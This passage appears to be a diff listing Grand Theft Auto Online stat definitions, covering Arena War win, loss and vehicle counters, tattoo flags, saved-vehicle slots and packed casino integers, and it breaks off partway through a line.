+(int)ARN_W_DESTR_DERBY // Add MP0_ or MP1_ // Win count on event type: (arena) DESTRUCTION_DERBY +(int)ARN_W_CARNAGE // Add MP0_ or MP1_ // Win count on event type: (arena) CARNAGE +(int)ARN_W_MONSTER_JAM // Add MP0_ or MP1_ // Win count on event type: (arena) MONSTER_JAM +(int)ARN_W_GAMES_MASTERS // Add MP0_ or MP1_ // Win count on event type: (arena) GAMES_MASTERS + +(int)ARN_L_PASS_THE_BOMB // Add MP0_ or MP1_ // Loss count on event type: (arena) PASS_THE_BOMB +(int)ARN_L_DETONATION // Add MP0_ or MP1_ // Loss count on event type: (arena) DETONATION +(int)ARN_L_ARCADE_RACE // Add MP0_ or MP1_ // Loss count on event type: (arena) ARCADE_RACE +(int)ARN_L_CTF // Add MP0_ or MP1_ // Loss count on event type: (arena) CTF +(int)ARN_L_TAG_TEAM // Add MP0_ or MP1_ // Loss count on event type: (arena) TAG_TEAM +(int)ARN_L_DESTR_DERBY // Add MP0_ or MP1_ // Loss count on event type: (arena) DESTRUCTION_DERBY +(int)ARN_L_CARNAGE // Add MP0_ or MP1_ // Loss count on event type: (arena) CARNAGE +(int)ARN_L_MONSTER_JAM // Add MP0_ or MP1_ // Loss count on event type: (arena) MONSTER_JAM +(int)ARN_L_GAMES_MASTERS // Add MP0_ or MP1_ // Loss count on event type: (arena) GAMES_MASTERS + +(int)ARN_VEH_MONSTER3 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_MONSTER4 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_MONSTER5 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_CERBERUS // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_CERBERUS2 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_CERBERUS3 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_BRUISER // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_BRUISER2 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_BRUISER3 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_SLAMVAN4 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_SLAMVAN5 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_SLAMVAN6 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_BRUTUS // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_BRUTUS2 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_BRUTUS3 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_SCARAB // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_SCARAB2 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_SCARAB3 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_DOMINATOR4 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_DOMINATOR5 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_DOMINATOR6 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_IMPALER2 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_IMPALER3 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_IMPALER4 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_ISSI4 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_ISSI5 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_ISSI6 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_IMPERATOR // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_IMPERATOR2 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_IMPERATOR3 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_ZR380 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_ZR3802 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_ZR3803 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_DEATHBIKE // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_DEATHBIKE2 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_VEH_DEATHBIKE3 // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event + +(int)ARN_SPECTATOR_KILLS // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_LIFETIME_KILLS // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event +(int)ARN_LIFETIME_DEATHS // Add MP0_ or MP1_ // Number of times this vehicles was used in a completed Arena War event + +(int)WORKSHOP_REMINDER_CT // Add MP0_ or MP1_ // Number of times remind player to get a workshop +(int)TATTOO_FM_UNLOCKS_35 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 35 +(int)TATTOO_FM_CURRENT_35 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 35 +(int)TATTOO_FM_VIEWED_35 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 35 +(int)TATTOO_FM_UNLOCKS_36 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 36 +(int)TATTOO_FM_CURRENT_36 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 36 +(int)TATTOO_FM_VIEWED_36 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 36 +(int)TATTOO_FM_UNLOCKS_37 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 37 +(int)TATTOO_FM_CURRENT_37 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 37 +(int)TATTOO_FM_VIEWED_37 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 37 +(int)TATTOO_FM_UNLOCKS_38 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 38 +(int)TATTOO_FM_CURRENT_38 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 38 +(int)TATTOO_FM_VIEWED_38 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 38 + +(int)ARN_W_THEME_SCIFI // Add MP0_ or MP1_ // Win count on Arena scifi maps +(int)ARN_W_THEME_APOC // Add MP0_ or MP1_ // Win count on Arena apoc maps +(int)ARN_W_THEME_CONS // Add MP0_ or MP1_ // Win count on Arena consumer maps +(int)ARN_SPECTATOR_DRONE // Add MP0_ or MP1_ // Number of times player has smoked in spectator box +(int)ARN_SPECTATOR_CAMS // Add MP0_ or MP1_ // Number of times player has smoked in spectator box +(int)ARN_SMOKE // Add MP0_ or MP1_ // Number of times player has smoked in spectator box +(int)ARN_DRINK // Add MP0_ or MP1_ // Number of times player has had a drink in spectator box +(int)ARN_SPEC_BOX_TIME_MS // Add MP0_ or MP1_ // Time (ms) player has spent in the Arena spectator box + +(int)ARN_BS_TRINKET_TICKERS // Add MP0_ or MP1_ // Bitset showing which Arena Career Wall trinkets have had tickers shown +(int)ARN_BS_TRINKET_SAVED // Add MP0_ or MP1_ // Bitset showing which Arena Career Wall trinkets have been earned + +(int)ARN_BS_UNLCK_ITM_VIEW_1 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_2 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_3 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_4 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_5 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_6 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_7 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_8 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_9 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_10 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_11 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_12 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_13 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_14 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_15 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_16 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_17 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_18 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_19 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_20 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed +(int)ARN_BS_UNLCK_ITM_VIEW_21 // Add MP0_ or MP1_ // Bitset showing which Arena Career unlock items have been viewed + + +(int)PROP_CASINO_GAR1 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_CASINO_GAR1_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 + + + +(int)MPSV_VEHICLE_BS_261 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_261 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_261 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_261 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_261 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_261 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_261 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_262 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_262 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_262 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_262 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_262 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_262 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_262 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_263 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_263 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_263 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_263 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_263 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_263 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_263 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_264 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_264 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_264 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_264 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_264 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_264 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_264 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_265 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_265 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_265 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_265 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_265 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_265 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_265 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_266 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_266 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_266 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_266 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_266 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_266 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_266 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_267 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_267 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_267 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_267 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_267 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_267 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_267 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_268 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_268 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_268 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_268 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_268 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_268 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_268 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_269 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_269 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_269 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_269 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_269 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_269 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_269 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_270 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_270 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_270 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_270 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_270 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_270 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_270 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(packed)CASINOPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOPSTAT_INT97 // Add MP0_ or MP1_ // 